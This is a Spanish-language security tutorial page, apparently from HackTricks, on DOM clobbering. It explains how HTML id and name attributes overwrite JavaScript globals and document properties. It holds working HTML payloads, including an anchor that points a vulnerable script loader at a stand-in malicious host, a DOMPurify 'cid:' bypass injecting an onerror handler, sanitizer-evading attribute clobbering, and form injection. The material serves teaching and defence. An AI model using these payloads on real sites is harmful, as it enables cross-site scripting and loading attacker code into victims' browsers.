220 lines
10 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{{#include ../../banners/hacktricks-training.md}}
## **Conceptos básicos**
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**Solo** ciertos elementos pueden usar el **atributo name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
Curiosamente, cuando usas un **elemento form** para **clobber** una variable, obtendrás el valor **`toString`** del elemento en sí: `[object HTMLFormElement]` pero con **anchor** el **`toString`** será el **`href`** del ancla. Por lo tanto, si clobber usas la etiqueta **`a`**, puedes **controlar** el **valor** cuando se **trata como una cadena**:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Arrays & Attributes
También es posible **sobrescribir un array** y **atributos de objetos**:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
Para sobrescribir **un 3er atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
Clobbering más atributos es **más complicado pero aún posible**, usando iframes:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> La etiqueta style se utiliza para **dar suficiente tiempo al iframe para renderizarse**. Sin ella, encontrarás una alerta de **undefined**.
Para clobber atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **Evasión de Filtros**
Si un filtro está **iterando** a través de las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** el atributo **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
En JavaScript es común encontrar:
```javascript
var someObject = window.someObject || {}
```
Manipular HTML en la página permite sobrescribir `someObject` con un nodo DOM, lo que puede introducir vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar `someObject` con un elemento de anclaje que apunte a un script malicioso:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
En un código vulnerable como:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
Este método explota la fuente del script para ejecutar código no deseado.
**Truco**: **`DOMPurify`** permite usar el protocolo **`cid:`**, que **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que será decodificada en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** hará que la `&quot;` codificada en HTML sea **decodificada en tiempo de ejecución** y **escape** del valor del atributo para **crear** el evento **`onerror`**.
Otra técnica utiliza un elemento **`form`**. Ciertas bibliotecas del lado del cliente inspeccionan los atributos de un nuevo elemento de formulario creado para limpiarlos. Sin embargo, al agregar un `input` con `id=attributes` dentro del formulario, efectivamente sobrescribes la propiedad de atributos, impidiendo que el sanitizador acceda a los atributos reales.
Puedes [**encontrar un ejemplo de este tipo de clobbering en este CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Clobbering del objeto documento
Según la documentación, es posible sobrescribir atributos del objeto documento usando DOM Clobbering:
> La [interfaz Document](https://html.spec.whatwg.org/multipage/dom.html#document) [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un [objeto Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
>
> \- El valor del atributo de contenido name para todos los elementos [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido name no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
Usando esta técnica, puedes sobrescribir **valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escribiendo después del elemento clobbering
Los resultados de las llamadas a **`document.getElementById()`** y **`document.querySelector()`** pueden ser alterados al inyectar una etiqueta `<html>` o `<body>` con un atributo id idéntico. Así es como se puede hacer:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede prevenir la interferencia de otro texto en el `innerText`, mejorando así la eficacia del ataque:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Las investigaciones sobre SVG revelaron que una etiqueta `<body>` también se puede utilizar de manera efectiva:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesaria una etiqueta `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms
Es posible agregar **nuevas entradas dentro de un formulario** simplemente **especificando el atributo `form`** dentro de algunas etiquetas. Puedes usar esto para **agregar nuevos valores dentro de un formulario** e incluso para agregar un **botón** nuevo para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- Para más atributos de formulario en [**botón consulta esto**](https://www.w3schools.com/tags/tag_button.asp)**.**
## Referencias
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
{{#include ../../banners/hacktricks-training.md}}